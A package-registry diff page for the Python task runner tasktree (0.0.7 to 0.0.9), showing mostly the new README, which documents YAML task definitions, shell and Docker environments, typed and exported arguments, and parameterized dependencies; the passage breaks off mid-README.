tasktree 0.0.7__py3-none-any.whl → 0.0.9__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- tasktree/cli.py +78 -22
- tasktree/docker.py +25 -0
- tasktree/executor.py +346 -34
- tasktree/graph.py +124 -26
- tasktree/hasher.py +73 -2
- tasktree/parser.py +1288 -35
- tasktree/substitution.py +198 -0
- tasktree/types.py +11 -2
- tasktree-0.0.9.dist-info/METADATA +1240 -0
- tasktree-0.0.9.dist-info/RECORD +15 -0
- tasktree-0.0.7.dist-info/METADATA +0 -654
- tasktree-0.0.7.dist-info/RECORD +0 -14
- {tasktree-0.0.7.dist-info → tasktree-0.0.9.dist-info}/WHEEL +0 -0
- {tasktree-0.0.7.dist-info → tasktree-0.0.9.dist-info}/entry_points.txt +0 -0
|
@@ -0,0 +1,1240 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: tasktree
|
|
3
|
+
Version: 0.0.9
|
|
4
|
+
Summary: A task automation tool with incremental execution
|
|
5
|
+
Requires-Python: >=3.11
|
|
6
|
+
Requires-Dist: click>=8.1.0
|
|
7
|
+
Requires-Dist: colorama>=0.4.6
|
|
8
|
+
Requires-Dist: pathspec>=0.11.0
|
|
9
|
+
Requires-Dist: pyyaml>=6.0
|
|
10
|
+
Requires-Dist: rich>=13.0.0
|
|
11
|
+
Requires-Dist: typer>=0.9.0
|
|
12
|
+
Provides-Extra: dev
|
|
13
|
+
Requires-Dist: pytest>=9.0.2; extra == 'dev'
|
|
14
|
+
Description-Content-Type: text/markdown
|
|
15
|
+
|
|
16
|
+
# Task Tree (tt)
|
|
17
|
+
|
|
18
|
+
[](https://github.com/kevinchannon/task-tree/actions/workflows/test.yml)
|
|
19
|
+
|
|
20
|
+
A task automation tool that combines simple command execution with dependency tracking and incremental execution.
|
|
21
|
+
|
|
22
|
+
## Motivation
|
|
23
|
+
In any project of even moderate size, various scripts inevitably come into being along the way. These scripts often must be run in a particular order, or at a particular time. For historical reasons, this almost certainly a problem if your project is developed in a Linux environment; in Windows, an IDE like Visual Studio may be taking care of a significant proportion of your build, packaging and deployment tasks. Then again, it may not...
|
|
24
|
+
|
|
25
|
+
The various incantations that have to be issued to build, package, test and deploy a project can build up and then all of a sudden there's only a few people that remember which to invoke and when and then people start making helpful readme guides on what to do with the scripts and then those become out of date and start telling lies about things and so on.
|
|
26
|
+
|
|
27
|
+
Then there's the scripts themselves. In Linux, they're probably a big pile of Bash and Python, or something (Ruby, Perl, you name it). You can bet the house on people solving the problem of passing parameters to their scripts in a whole bunch of different and inconsistent ways.
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
#!/usr/bin/env bash
|
|
31
|
+
# It's an environment variable defined.... somewhere?
|
|
32
|
+
echo "FOO is: $FOO"
|
|
33
|
+
```
|
|
34
|
+
```bash
|
|
35
|
+
#!/usr/bin/env bash
|
|
36
|
+
# Using simple positional arguments... guess what means what when you're invoking it!
|
|
37
|
+
echo "First: $1, Second: $2"
|
|
38
|
+
```
|
|
39
|
+
```bash
|
|
40
|
+
#!/usr/bin/env bash
|
|
41
|
+
# Oooooh fancy "make me look like a proper app" named option parsing... don't try and do --foo=bar though!
|
|
42
|
+
FOO=""
|
|
43
|
+
while [[ $# -gt 0 ]]; do
|
|
44
|
+
case "$1" in
|
|
45
|
+
--foo) FOO=$2; shift ;;
|
|
46
|
+
--) break ;;
|
|
47
|
+
*) echo "Unknown: $1";;
|
|
48
|
+
esac
|
|
49
|
+
shift
|
|
50
|
+
done
|
|
51
|
+
```
|
|
52
|
+
```bash
|
|
53
|
+
#!/usr/bin/env bash
|
|
54
|
+
# This thing...
|
|
55
|
+
ARGS=$(getopt -o f:b --long foo:,bar: -n 'myscript' -- "$@")
|
|
56
|
+
eval set -- "$ARGS"
|
|
57
|
+
while true; do
|
|
58
|
+
case "$1" in
|
|
59
|
+
-b|--bar) echo "Bar: $2"; shift 2 ;;
|
|
60
|
+
-f|--foo) echo "Foo: $2"; shift 2 ;;
|
|
61
|
+
--) shift; break ;;
|
|
62
|
+
*) break ;;
|
|
63
|
+
esac
|
|
64
|
+
done
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
What about help info? Who has time to wire that in?
|
|
68
|
+
|
|
69
|
+
### The point
|
|
70
|
+
Is this just whining and moaning? Should we just man up and revel in our own ability to memorize all the right incantations like some kind of scripting shaman?
|
|
71
|
+
|
|
72
|
+
... No. That's **a dumb idea**.
|
|
73
|
+
|
|
74
|
+
Task Tree allows you to pile all the knowledge of **what** to run, **when** to run it, **where** to run it and **how** to run it into a single, readable place. Then you can delete all the scripts that no-one knows how to use and all the readme docs that lie to the few people that actually waste their time reading them.
|
|
75
|
+
|
|
76
|
+
The tasks you need to perform to deliver your project become summarised in an executable file that looks like:
|
|
77
|
+
```yaml
|
|
78
|
+
tasks:
|
|
79
|
+
build:
|
|
80
|
+
desc: Compile stuff
|
|
81
|
+
outputs: [target/release/bin]
|
|
82
|
+
cmd: cargo build --release
|
|
83
|
+
|
|
84
|
+
package:
|
|
85
|
+
desc: build installers
|
|
86
|
+
deps: [build]
|
|
87
|
+
outputs: [awesome.deb]
|
|
88
|
+
cmd: |
|
|
89
|
+
for bin in target/release/*; do
|
|
90
|
+
if [[ -x "$bin" && ! -d "$bin" ]]; then
|
|
91
|
+
install -Dm755 "$bin" "debian/awesome/usr/bin/$(basename "$bin")"
|
|
92
|
+
fi
|
|
93
|
+
done
|
|
94
|
+
|
|
95
|
+
dpkg-buildpackage -us -uc
|
|
96
|
+
|
|
97
|
+
test:
|
|
98
|
+
desc: Run tests
|
|
99
|
+
deps: [package]
|
|
100
|
+
inputs: [tests/**/*.py]
|
|
101
|
+
cmd: PYTHONPATH=src python3 -m pytest tests/ -v
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
If you want to run the tests then:
|
|
105
|
+
```bash
|
|
106
|
+
tt test
|
|
107
|
+
```
|
|
108
|
+
Boom! Done. `build` will always run, because there's no sensible way to know what Cargo did. However, if Cargo decided that nothing needed to be done and didn't touch the binaries, then `package` will realize that and not do anything. Then `test` will just run with the new tests that you just wrote. If you then immediately run `test` again, then `test` will figure out that none of the dependencies did anything and that none of the test files have changed and then just _do nothing_ - as it should.
|
|
109
|
+
|
|
110
|
+
This is a toy example, but you can image how it plays out on a more complex project.
|
|
111
|
+
|
|
112
|
+
## Installation
|
|
113
|
+
|
|
114
|
+
### From PyPI (Recommended)
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
pipx install tasktree
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
If you have multiple Python interpreter versions installed, and the _default_ interpreter is a version <3.11, then you can use `pipx`'s `--python` option to specify an interpreter with a version >=3.11:
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
# If the target version is on the PATH
|
|
124
|
+
pipx install --python python3.12 tasktree
|
|
125
|
+
|
|
126
|
+
# With a path to an interpreter
|
|
127
|
+
pipx install --python /path/to/python3.12 tasktree
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### From Source
|
|
131
|
+
|
|
132
|
+
For the latest unreleased version from GitHub:
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
pipx install git+https://github.com/kevinchannon/task-tree.git
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
Or to install from a local clone:
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
git clone https://github.com/kevinchannon/task-tree.git
|
|
142
|
+
cd tasktree
|
|
143
|
+
pipx install .
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## Editor Support
|
|
147
|
+
|
|
148
|
+
Task Tree includes a [JSON Schema](schema/tasktree-schema.json) that provides autocomplete, validation, and documentation in modern editors.
|
|
149
|
+
|
|
150
|
+
### VS Code
|
|
151
|
+
|
|
152
|
+
Install the [YAML extension](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml), then add to your workspace `.vscode/settings.json`:
|
|
153
|
+
|
|
154
|
+
```json
|
|
155
|
+
{
|
|
156
|
+
"yaml.schemas": {
|
|
157
|
+
"https://raw.githubusercontent.com/kevinchannon/tasktree/main/schema/tasktree-schema.json": [
|
|
158
|
+
"tasktree.yaml",
|
|
159
|
+
"tt.yaml"
|
|
160
|
+
]
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
Or add a comment at the top of your `tasktree.yaml`:
|
|
166
|
+
|
|
167
|
+
```yaml
|
|
168
|
+
# yaml-language-server: $schema=https://raw.githubusercontent.com/kevinchannon/tasktree/main/schema/tasktree-schema.json
|
|
169
|
+
|
|
170
|
+
tasks:
|
|
171
|
+
build:
|
|
172
|
+
cmd: cargo build
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
See [schema/README.md](schema/README.md) for IntelliJ/PyCharm and command-line validation.
|
|
176
|
+
|
|
177
|
+
## Quick Start
|
|
178
|
+
|
|
179
|
+
Create a `tasktree.yaml` (or `tt.yaml`) in your project:
|
|
180
|
+
|
|
181
|
+
```yaml
|
|
182
|
+
tasks:
|
|
183
|
+
build:
|
|
184
|
+
desc: Compile the application
|
|
185
|
+
outputs: [target/release/bin]
|
|
186
|
+
cmd: cargo build --release
|
|
187
|
+
|
|
188
|
+
test:
|
|
189
|
+
desc: Run tests
|
|
190
|
+
deps: [build]
|
|
191
|
+
cmd: cargo test
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
Run tasks:
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
tt # Print the help
|
|
198
|
+
tt --help # ...also print the help
|
|
199
|
+
tt --list # Show all available tasks
|
|
200
|
+
tt build # Build the application (assuming this is in your tasktree.yaml)
|
|
201
|
+
tt test # Run tests (builds first if needed)
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
## Core Concepts
|
|
205
|
+
|
|
206
|
+
### Intelligent Incremental Execution
|
|
207
|
+
|
|
208
|
+
Task Tree only runs tasks when necessary. A task executes if:
|
|
209
|
+
|
|
210
|
+
- Its definition (command, outputs, working directory, environment) has changed
|
|
211
|
+
- Any input files have changed since the last run
|
|
212
|
+
- Any dependencies have re-run
|
|
213
|
+
- It has never been executed before
|
|
214
|
+
- It has no inputs or outputs (always runs)
|
|
215
|
+
- The execution environment has changed (CLI override or environment config change)
|
|
216
|
+
|
|
217
|
+
### Automatic Input Inheritance
|
|
218
|
+
|
|
219
|
+
Tasks automatically inherit inputs from dependencies, eliminating redundant declarations:
|
|
220
|
+
|
|
221
|
+
```yaml
|
|
222
|
+
tasks:
|
|
223
|
+
build:
|
|
224
|
+
outputs: [dist/app]
|
|
225
|
+
cmd: go build -o dist/app
|
|
226
|
+
|
|
227
|
+
package:
|
|
228
|
+
deps: [build]
|
|
229
|
+
outputs: [dist/app.tar.gz]
|
|
230
|
+
cmd: tar czf dist/app.tar.gz dist/app
|
|
231
|
+
# Automatically tracks dist/app as an input
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
### Single State File
|
|
235
|
+
|
|
236
|
+
All state lives in `.tasktree-state` at your project root. Stale entries are automatically pruned—no manual cleanup needed.
|
|
237
|
+
|
|
238
|
+
## Task Definition
|
|
239
|
+
|
|
240
|
+
### Basic Structure
|
|
241
|
+
|
|
242
|
+
```yaml
|
|
243
|
+
tasks:
|
|
244
|
+
task-name:
|
|
245
|
+
desc: Human-readable description (optional)
|
|
246
|
+
deps: [other-task] # Task dependencies
|
|
247
|
+
inputs: [src/**/*.go] # Explicit input files (glob patterns)
|
|
248
|
+
outputs: [dist/binary] # Output files (glob patterns)
|
|
249
|
+
working_dir: subproject/ # Execution directory (default: project root)
|
|
250
|
+
env: bash-strict # Execution environment (optional)
|
|
251
|
+
args: # Task parameters
|
|
252
|
+
- param1 # Simple argument
|
|
253
|
+
- param2: { type: path, default: "." } # With type and default
|
|
254
|
+
cmd: go build -o dist/binary # Command to execute
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
### Commands
|
|
258
|
+
|
|
259
|
+
**Single-line commands** are executed directly via the configured shell:
|
|
260
|
+
|
|
261
|
+
```yaml
|
|
262
|
+
tasks:
|
|
263
|
+
build:
|
|
264
|
+
cmd: cargo build --release
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
**Multi-line commands** are written to temporary script files for proper execution:
|
|
268
|
+
|
|
269
|
+
```yaml
|
|
270
|
+
tasks:
|
|
271
|
+
deploy:
|
|
272
|
+
cmd: |
|
|
273
|
+
mkdir -p dist
|
|
274
|
+
cp build/* dist/
|
|
275
|
+
rsync -av dist/ server:/opt/app/
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
Multi-line commands preserve shell syntax (line continuations, heredocs, etc.) and support shebangs on Unix/macOS.
|
|
279
|
+
|
|
280
|
+
Or use folded blocks for long single-line commands:
|
|
281
|
+
|
|
282
|
+
```yaml
|
|
283
|
+
tasks:
|
|
284
|
+
compile:
|
|
285
|
+
cmd: >
|
|
286
|
+
gcc -o bin/app
|
|
287
|
+
src/*.c
|
|
288
|
+
-I include
|
|
289
|
+
-L lib -lm
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### Execution Environments
|
|
293
|
+
|
|
294
|
+
Configure custom shell environments for task execution:
|
|
295
|
+
|
|
296
|
+
```yaml
|
|
297
|
+
environments:
|
|
298
|
+
default: bash-strict
|
|
299
|
+
|
|
300
|
+
bash-strict:
|
|
301
|
+
shell: bash
|
|
302
|
+
args: ['-c'] # For single-line: bash -c "command"
|
|
303
|
+
preamble: | # For multi-line: prepended to script
|
|
304
|
+
set -euo pipefail
|
|
305
|
+
|
|
306
|
+
python:
|
|
307
|
+
shell: python
|
|
308
|
+
args: ['-c']
|
|
309
|
+
|
|
310
|
+
powershell:
|
|
311
|
+
shell: powershell
|
|
312
|
+
args: ['-ExecutionPolicy', 'Bypass', '-Command']
|
|
313
|
+
preamble: |
|
|
314
|
+
$ErrorActionPreference = 'Stop'
|
|
315
|
+
|
|
316
|
+
tasks:
|
|
317
|
+
build:
|
|
318
|
+
# Uses 'default' environment (bash-strict)
|
|
319
|
+
cmd: cargo build --release
|
|
320
|
+
|
|
321
|
+
analyze:
|
|
322
|
+
env: python
|
|
323
|
+
cmd: |
|
|
324
|
+
import sys
|
|
325
|
+
print(f"Analyzing with Python {sys.version}")
|
|
326
|
+
# ... analysis code ...
|
|
327
|
+
|
|
328
|
+
windows-task:
|
|
329
|
+
env: powershell
|
|
330
|
+
cmd: |
|
|
331
|
+
Compress-Archive -Path dist/* -DestinationPath package.zip
|
|
332
|
+
```
|
|
333
|
+
|
|
334
|
+
**Environment resolution priority:**
|
|
335
|
+
1. CLI override: `tt --env python build`
|
|
336
|
+
2. Task's `env` field
|
|
337
|
+
3. Recipe's `default` environment
|
|
338
|
+
4. Platform default (bash on Unix, cmd on Windows)
|
|
339
|
+
|
|
340
|
+
**Platform defaults** when no environments are configured:
|
|
341
|
+
- **Unix/macOS**: bash with `-c` args
|
|
342
|
+
- **Windows**: cmd with `/c` args
|
|
343
|
+
|
|
344
|
+
### Docker Environments
|
|
345
|
+
|
|
346
|
+
Execute tasks inside Docker containers for reproducible builds and isolated execution:
|
|
347
|
+
|
|
348
|
+
```yaml
|
|
349
|
+
environments:
|
|
350
|
+
builder:
|
|
351
|
+
dockerfile: build.dockerfile
|
|
352
|
+
context: .
|
|
353
|
+
volumes:
|
|
354
|
+
- .:/workspace
|
|
355
|
+
working_dir: /workspace
|
|
356
|
+
|
|
357
|
+
tasks:
|
|
358
|
+
build:
|
|
359
|
+
env: builder
|
|
360
|
+
cmd: cargo build --release
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
#### User Mapping
|
|
364
|
+
|
|
365
|
+
By default, tasks run inside Docker containers execute as your current host user (UID:GID) rather than root. This ensures files created in mounted volumes have correct ownership on the host filesystem.
|
|
366
|
+
|
|
367
|
+
To run as root inside the container (e.g., for package installation or privileged operations), set `run_as_root: true`:
|
|
368
|
+
|
|
369
|
+
```yaml
|
|
370
|
+
environments:
|
|
371
|
+
privileged:
|
|
372
|
+
dockerfile: admin.dockerfile
|
|
373
|
+
context: .
|
|
374
|
+
run_as_root: true
|
|
375
|
+
volumes:
|
|
376
|
+
- .:/workspace
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
**Note**: On Windows, user mapping is handled automatically by Docker Desktop and this setting has no effect.
|
|
380
|
+
|
|
381
|
+
#### Use Cases for `run_as_root: true`
|
|
382
|
+
|
|
383
|
+
You may need to set `run_as_root: true` when:
|
|
384
|
+
- Container process needs to bind to privileged ports (<1024)
|
|
385
|
+
- Installing packages during task execution
|
|
386
|
+
- Software explicitly requires root privileges
|
|
387
|
+
|
|
388
|
+
### Parameterised Tasks
|
|
389
|
+
|
|
390
|
+
Tasks can accept arguments with optional type annotations and defaults:
|
|
391
|
+
|
|
392
|
+
```yaml
|
|
393
|
+
tasks:
|
|
394
|
+
deploy:
|
|
395
|
+
args:
|
|
396
|
+
- environment: { choices: ["dev", "staging", "production"] }
|
|
397
|
+
- region: { choices: ["us-east-1", "eu-west-1"], default: "eu-west-1" }
|
|
398
|
+
deps: [build]
|
|
399
|
+
cmd: |
|
|
400
|
+
aws s3 cp dist/app.zip s3://{{ arg.environment }}-{{ arg.region }}/
|
|
401
|
+
aws lambda update-function-code --function-name app-{{ arg.environment }}
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
Invoke with: `tt deploy production` or `tt deploy staging us-east-1` or `tt deploy staging region=us-east-1`.
|
|
405
|
+
|
|
406
|
+
If you try an invalid environment like `tt deploy testing`, you'll get a clear error showing the valid choices.
|
|
407
|
+
|
|
408
|
+
**Argument syntax:**
|
|
409
|
+
|
|
410
|
+
```yaml
|
|
411
|
+
args:
|
|
412
|
+
- name # Simple argument (type: str, no default)
|
|
413
|
+
- port: { type: int } # With type annotation
|
|
414
|
+
- region: { default: "eu-west-1" } # With default (type inferred as str)
|
|
415
|
+
- count: { type: int, default: 10 } # With both type and default
|
|
416
|
+
- replicas: { min: 1, max: 100 } # Type inferred as int from min/max
|
|
417
|
+
- timeout: { min: 0.5, max: 30.0, default: 10.0 } # Type inferred as float
|
|
418
|
+
- environment: { choices: ["dev", "prod"] } # Type inferred as str from choices
|
|
419
|
+
- priority: { type: int, choices: [1, 2, 3], default: 2 } # With choices and default
|
|
420
|
+
```
|
|
421
|
+
|
|
422
|
+
**Range constraints** (min/max):
|
|
423
|
+
|
|
424
|
+
For `int` and `float` arguments, you can specify `min` and/or `max` constraints to validate values at parse time:
|
|
425
|
+
|
|
426
|
+
```yaml
|
|
427
|
+
args:
|
|
428
|
+
- replicas: { min: 1, max: 100 } # Type inferred as int from min/max
|
|
429
|
+
- port: { min: 1024 } # Type inferred as int from min
|
|
430
|
+
- percentage: { max: 100.0 } # Type inferred as float from max
|
|
431
|
+
- workers: { min: 1, max: 16, default: 4 } # Type inferred as int (all consistent)
|
|
432
|
+
```
|
|
433
|
+
|
|
434
|
+
**Discrete choices**:
|
|
435
|
+
|
|
436
|
+
For arguments with a specific set of valid values, use the `choices` field to specify allowed values. This provides clear validation errors and self-documenting task definitions:
|
|
437
|
+
|
|
438
|
+
```yaml
|
|
439
|
+
args:
|
|
440
|
+
- environment: { choices: ["dev", "staging", "prod"] } # Type inferred as str from choices
|
|
441
|
+
- priority: { choices: [1, 2, 3] } # Type inferred as int from choices
|
|
442
|
+
- region: { type: str, choices: ["us-east-1", "eu-west-1"], default: "us-east-1" }
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
**Choices features:**
|
|
446
|
+
- Type is automatically inferred from the first choice value if not explicitly specified
|
|
447
|
+
- All choices must have the same type
|
|
448
|
+
- Default value (if provided) must be one of the valid choices
|
|
449
|
+
- `choices` and `min`/`max` are mutually exclusive
|
|
450
|
+
- Boolean types cannot have choices (already limited to true/false)
|
|
451
|
+
- Validation happens after type conversion, producing clear error messages showing valid options
|
|
452
|
+
|
|
453
|
+
* Both bounds are **inclusive**: `min` is the smallest allowable value, `max` is the largest
|
|
454
|
+
* Can specify `min` alone, `max` alone, or both together
|
|
455
|
+
* Type can be inferred from `min`, `max`, or `default` - all provided values must have consistent types
|
|
456
|
+
* When explicit `type` is specified, all `min`, `max`, and `default` values must match that type
|
|
457
|
+
* Default values must satisfy the min/max constraints
|
|
458
|
+
* Validation happens at parse time with clear error messages
|
|
459
|
+
* Not supported for non-numeric types (str, bool, path, etc.)
|
|
460
|
+
|
|
461
|
+
When no explicit type is provided, the type is inferred from `default`, `min`, or `max` values (all must have consistent types). Valid argument types are:
|
|
462
|
+
|
|
463
|
+
* int - an integer value (e.g. 0, 10, 123, -9)
|
|
464
|
+
* float - a floating point value (e.g. 1.234, -3.1415, 2e-4)
|
|
465
|
+
* bool - Boolean-ish value (e.g. true, false, yes, no, 1, 0, etc)
|
|
466
|
+
* str - a string
|
|
467
|
+
* path - a pathlike string
|
|
468
|
+
* datetime - a datetime in the format 2025-12-17T16:56:12
|
|
469
|
+
* ip - an ip address (v4 or v6)
|
|
470
|
+
* ipv4 - an IPv4 value
|
|
471
|
+
* ipv6 - an IPv6 value
|
|
472
|
+
* email - String validated, but not positively confirmed to be a reachable address.
|
|
473
|
+
* hostname - looks like a hostname, resolution of the name is not attempted as part of the validation
|
|
474
|
+
|
|
475
|
+
Different argument values are tracked separately—tasks re-run when invoked with new arguments.
|
|
476
|
+
|
|
477
|
+
### Exported Arguments
|
|
478
|
+
|
|
479
|
+
Arguments can be prefixed with `$` to export them as environment variables instead of using template substitution. This mimics Justfile behavior and is cleaner for shell-heavy commands:
|
|
480
|
+
|
|
481
|
+
```yaml
|
|
482
|
+
tasks:
|
|
483
|
+
deploy:
|
|
484
|
+
args:
|
|
485
|
+
- $server
|
|
486
|
+
- $user: { default: "admin" }
|
|
487
|
+
- port: { type: int, default: 8080 }
|
|
488
|
+
cmd: |
|
|
489
|
+
echo "Deploying to $server as $user on port {{ arg.port }}"
|
|
490
|
+
ssh $user@$server "systemctl restart app --port {{ arg.port }}"
|
|
491
|
+
```
|
|
492
|
+
|
|
493
|
+
**Key differences between regular and exported arguments:**
|
|
494
|
+
|
|
495
|
+
| Feature | Regular Argument | Exported Argument |
|
|
496
|
+
|---------|-----------------|-------------------|
|
|
497
|
+
| **Syntax** | `- name` | `- $name` |
|
|
498
|
+
| **Usage in commands** | `{{ arg.name }}` | `$name` (shell variable) |
|
|
499
|
+
| **Type annotations** | Allowed: `{ type: int }` | **Not allowed** (always strings) |
|
|
500
|
+
| **Defaults** | `{ default: 8080 }` | `- $port: { default: "8080" }` |
|
|
501
|
+
| **Availability** | Template substitution only | Environment variable (all subprocesses) |
|
|
502
|
+
| **Case handling** | N/A | Preserves exact case as written |
|
|
503
|
+
|
|
504
|
+
**Invocation examples:**
|
|
505
|
+
|
|
506
|
+
```bash
|
|
507
|
+
# Positional arguments (exported and regular mixed)
|
|
508
|
+
tt deploy prod-server admin port=9000
|
|
509
|
+
|
|
510
|
+
# Named arguments
|
|
511
|
+
tt deploy server=prod-server user=admin port=9000
|
|
512
|
+
|
|
513
|
+
# Using defaults
|
|
514
|
+
tt deploy prod-server # user defaults to "admin"
|
|
515
|
+
```
|
|
516
|
+
|
|
517
|
+
**Important notes:**
|
|
518
|
+
|
|
519
|
+
- **Exported arguments are always strings**: Even numeric-looking defaults like `$port=8080` result in the string `"8080"`. When using boolean-like values in shell scripts, use string comparison: `[ "$verbose" = "true" ]`
|
|
520
|
+
- **Case preservation**: Environment variable names preserve the case exactly as written. `$Server` and `$server` are distinct variables (except on Windows where environment variables are case-insensitive)
|
|
521
|
+
- **Environment variable precedence**: Exported arguments override any existing environment variables with the same name
|
|
522
|
+
- **Cannot use template substitution**: Exported arguments are **not** available for `{{ arg.name }}` substitution. Attempting to use `{{ arg.server }}` when `server` is defined as `$server` results in an error
|
|
523
|
+
|
|
524
|
+
**Use cases for exported arguments:**
|
|
525
|
+
|
|
526
|
+
- Shell-heavy commands with many environment variable references
|
|
527
|
+
- Passing credentials to subprocesses
|
|
528
|
+
- Commands that spawn multiple subshells (exported vars available in all)
|
|
529
|
+
- Integration with tools that expect environment variables
|
|
530
|
+
|
|
531
|
+
**Example with Docker environments:**
|
|
532
|
+
|
|
533
|
+
```yaml
|
|
534
|
+
environments:
|
|
535
|
+
docker-build:
|
|
536
|
+
dockerfile: Dockerfile
|
|
537
|
+
context: .
|
|
538
|
+
volumes:
|
|
539
|
+
- .:/workspace
|
|
540
|
+
|
|
541
|
+
tasks:
|
|
542
|
+
build:
|
|
543
|
+
env: docker-build
|
|
544
|
+
args: [$BUILD_TAG, $REGISTRY]
|
|
545
|
+
cmd: |
|
|
546
|
+
docker build -t $REGISTRY/app:$BUILD_TAG .
|
|
547
|
+
docker push $REGISTRY/app:$BUILD_TAG
|
|
548
|
+
```
|
|
549
|
+
|
|
550
|
+
Exported arguments are passed through to Docker containers as environment variables, overriding any Docker environment configuration.
|
|
551
|
+
|
|
552
|
+
#### Troubleshooting Exported Arguments
|
|
553
|
+
|
|
554
|
+
**Problem: Exported argument appears undefined in script**
|
|
555
|
+
|
|
556
|
+
If your script reports an undefined variable:
|
|
557
|
+
|
|
558
|
+
1. Verify the argument is prefixed with `$` in the `args` list
|
|
559
|
+
2. Check that you're passing the argument when invoking the task:
|
|
560
|
+
```bash
|
|
561
|
+
tt deploy prod-server # If server is required
|
|
562
|
+
```
|
|
563
|
+
3. On Windows, use `%VAR%` syntax instead of `$VAR`:
|
|
564
|
+
```yaml
|
|
565
|
+
tasks:
|
|
566
|
+
test:
|
|
567
|
+
args: [$server]
|
|
568
|
+
cmd: echo %server% # Windows
|
|
569
|
+
# cmd: echo $server # Unix/macOS
|
|
570
|
+
```
|
|
571
|
+
|
|
572
|
+
**Problem: How to debug which args are exported vs regular**
|
|
573
|
+
|
|
574
|
+
Use `tt --show <task-name>` to view the task definition:
|
|
575
|
+
```bash
|
|
576
|
+
tt --show deploy
|
|
577
|
+
```
|
|
578
|
+
|
|
579
|
+
This displays the task with its argument specifications. Exported arguments have the `$` prefix.
|
|
580
|
+
|
|
581
|
+
**Problem: Case-sensitive variable confusion**
|
|
582
|
+
|
|
583
|
+
On Unix systems, `$Server` and `$server` are different variables. If you see unexpected behavior:
|
|
584
|
+
|
|
585
|
+
1. Check that all references use the exact same case
|
|
586
|
+
2. Task Tree will warn during parsing if it detects arguments that differ only in case
|
|
587
|
+
3. Consider using lowercase consistently for environment variables to avoid confusion
|
|
588
|
+
|
|
589
|
+
**Problem: Exported argument with default value not set**
|
|
590
|
+
|
|
591
|
+
If an exported argument with a default isn't available as an environment variable:
|
|
592
|
+
|
|
593
|
+
1. Ensure you're running on the latest version (this was a bug in earlier versions)
|
|
594
|
+
2. The CLI automatically applies defaults before execution
|
|
595
|
+
3. You can explicitly provide the value: `tt deploy prod-server port=8080`
|
|
596
|
+
|
|
597
|
+
### Parameterized Dependencies
|
|
598
|
+
|
|
599
|
+
Dependencies can invoke tasks with specific arguments, enabling flexible and reusable task graphs:
|
|
600
|
+
|
|
601
|
+
**Syntax:**
|
|
602
|
+
|
|
603
|
+
```yaml
|
|
604
|
+
tasks:
|
|
605
|
+
# Task with parameters
|
|
606
|
+
process:
|
|
607
|
+
args: [mode, verbose=false]
|
|
608
|
+
cmd: echo "mode={{arg.mode}} verbose={{arg.verbose}}"
|
|
609
|
+
|
|
610
|
+
# Simple dependency (uses defaults)
|
|
611
|
+
consumer1:
|
|
612
|
+
deps: [process] # Equivalent to: process(mode must be provided)
|
|
613
|
+
cmd: echo "done"
|
|
614
|
+
|
|
615
|
+
# Positional arguments
|
|
616
|
+
consumer2:
|
|
617
|
+
deps:
|
|
618
|
+
- process: [debug, true] # Maps to: mode=debug, verbose=true
|
|
619
|
+
cmd: echo "done"
|
|
620
|
+
|
|
621
|
+
# Named arguments
|
|
622
|
+
consumer3:
|
|
623
|
+
deps:
|
|
624
|
+
- process: {mode: release, verbose: false}
|
|
625
|
+
cmd: echo "done"
|
|
626
|
+
|
|
627
|
+
# Multiple invocations with different args
|
|
628
|
+
multi_build:
|
|
629
|
+
deps:
|
|
630
|
+
- process: [debug]
|
|
631
|
+
- process: [release]
|
|
632
|
+
cmd: echo "All builds complete"
|
|
633
|
+
```
|
|
634
|
+
|
|
635
|
+
**Key behaviors:**
|
|
636
|
+
|
|
637
|
+
- **Simple string form** (`- task_name`): Uses task defaults for all arguments. Required arguments must have defaults or task invocation fails.
|
|
638
|
+
- **Positional form** (`- task_name: [arg1, arg2]`): Arguments mapped by position. Can omit trailing args if they have defaults.
|
|
639
|
+
- **Named form** (`- task_name: {arg1: val1}`): Arguments mapped by name. Can omit any arg with a default.
|
|
640
|
+
- **Multiple invocations**: Same task with different arguments creates separate graph nodes, each executing independently.
|
|
641
|
+
- **Normalization**: All forms normalized to named arguments with defaults filled before execution.
|
|
642
|
+
- **Cache separation**: `process(debug)` and `process(release)` cache independently.
|
|
643
|
+
|
|
644
|
+
**Restrictions:**
|
|
645
|
+
|
|
646
|
+
- **No empty lists**: `- task: []` is invalid (use `- task` instead)
|
|
647
|
+
- **No mixed positional and named**: Choose one form per dependency
|
|
648
|
+
- **Single-key dicts**: `{task1: [x], task2: [y]}` is invalid (multi-key not allowed)
|
|
649
|
+
|
|
650
|
+
**Validation:**
|
|
651
|
+
|
|
652
|
+
Validation happens at graph construction time with clear error messages:
|
|
653
|
+
|
|
654
|
+
```
|
|
655
|
+
Task 'process' takes 2 arguments, got 3
|
|
656
|
+
Task 'build' has no argument named 'mode'
|
|
657
|
+
Task 'deploy' requires argument 'environment' (no default provided)
|
|
658
|
+
```
|
|
